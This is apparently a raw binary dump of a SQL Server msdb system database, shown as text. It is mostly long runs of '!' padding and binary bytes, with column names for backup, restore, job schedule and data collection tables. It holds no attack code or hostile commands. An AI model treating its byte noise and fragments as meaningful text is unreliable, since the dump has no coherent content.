!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!r+`-B&)CDz{0-J4?@name0-J88
Q@keep_schedule0-JhhS@automatic_post0-4wK88
M@schedule_id0-4wK4Q@schedule_name0-4wKhhe@attached_schedules_only0-4wKhh]@include_description0-*BK88
Ktransfer_id0-*BK$$;uid0-*BK4Efilename0-*BK88
Efilesize0-*BK@Iattachment0-*BK==Gs*MKcreate_date0-*BK88
MZtransfer_id0- 
K88
Yrestore_history_id0- 
K==Mrestore_date0- 
K4gdestination_database_name0- 
K4Guser_name0- 
K88
Obackup_set_id0- 
K4Mrestore_type0- 
KhhCreplace0- 
KhhErecovery0- 
K	hhCrestart0- 
K
==Cstop_at0- 
K00Mdevice_count0- 
K4Wstop_at_mark_name0- 
K
hhKstop_before0- 
K88
[hrestore_history_id0-JC@log_id0-WJ88
[target_set_level_id0-WJ88
Otarget_set_id0-WJp4pOtype_skeleton0-WJ88
Mcondition_id0-WJ4Ilevel_name0-0K88
Q@object_set_id0-0K4U@object_set_name0-0K4Q@type_skeleton0-0K4?@type0-0KhhE@enabled0-0K88
Q@target_set_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Cn
FCn)GC\DG
2
		9	`E-F)E	/DS2[0-eQ88
MZschedule_id0-eQ$$Mschedule_uid0-eQ88
_originating_server_id0-eQ4=name0-eQUUGowner_sid0-eQ88
Cenabled0-eQ88
Gfreq_type0-eQ88
Ofreq_interval0-eQ	88
Ufreq_subday_type0-eQ
88
]freq_subday_interval0-eQ88
afreq_relative_interval0-eQ88
afreq_recurrence_factor0-eQ
88
Wactive_start_date0-eQ88
Sactive_end_date0-eQ88
Wactive_start_time0-eQ88
Sactive_end_time0-eQ==`MSMdate_created0-eQ==*ATOdate_modified0-eQ88
c5UQversion_number0-2$R$$C@job_id0-2$R4G@job_name0-2$R	4K@job_aspect0-2$R4G@job_type0-2$R4W@owner_login_name0-2$RP4I@subsystem0-2$R4Q@category_name0-2$R00E@enabled0-2$R	88
W@execution_status0-2$R
4U@date_comparator0-2$R==O@date_created0-2$R==[@date_last_modified0-2$R
4M@description0-:Q4Odatabase_name0-:Q4Gmark_name0-:Q4Kdescription0-:Q4Guser_name0-:Qll

;lsn0-:Q==Gmark_time0-QAlog_id0-QOparent_log_id0-Q@4@=name0-Q44Astatus0-Q44aruntime_execution_mode0-Q==Istart_time0-Q==[last_iteration_time0-Q==Kfinish_time0-Q	88
Eduration0-Q
4Sfailure_message0-Q4Eoperator0-Q$$]package_execution_id0-Q
88
Wcollection_set_id0-I8yRC@log_id0-I8yRhh]@from_collection_set-#Rhh0-.HS4Wdac_instance_name0-.HS4Odatabase_name0-.HS88
Kdatabase_id0-.HS==Mdate_created0-.HS@4@Kdescription0-.HS++
"
_first_collection_time0-.HS++
"
]last_collection_time0-.HS++
"
Ulast_upload_time0-.HS	]lifetime_cpu_time_ms0-.HS
icpu_time_ms_at_last_upload0->R4]physical_server_name0->R4]server_instance_name0->R4Uvolume_device_id0->R88
Mhealth_state0->R88
vTIset_number0->R++
"
USprocessing_timeAstatus0-Q44aruntime_execution_mode0-Q==Istart_time0-Q==[last_iteration_time0-Q==Kfinish_time0-Q	88
Eduration0-Q
4Sfailure_message0-Q4Eoperator0-Q$$]package_execution_id0-Q
88
Wcollection_set_id0-I8yRC@log_id0-I8yRhh]@from_collection_set0-\mS88
Y@collection_set_id0-\mS4?@name0-\mS$$Y@collection_job_id0-\mS$$Q@upload_job_id0-\mS44U@collection_mode0-aT88
Y@collection_set_id0-aT4?@name0-UU==S@reference_date0-V4Ktarget_type0-V4Otarget_object0-V88
Ypolicy_category_id0-V88
upolicy_category_subscription_id-#Rhh0-.HS4Wdac_instance_name0-.HS4Odatabase_name0-.HS88
Kdatabase_id0-.HS==Mdate_created0-.HS@4@Kdescriptionq`}.F7I 
	v	!	4MxN
m
R
u*

%
X'87ut-f`-D)ED-
uXB0-U0Q88
W@execution_status0-U0Q4U@date_comparator0-U0Q	==O@date_created0-U0Q
==[@date_last_modified0-U0Q4M@description0-U0Q88
M@schedule_id-	PQ88
0-	PQ88
Q@target_set_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!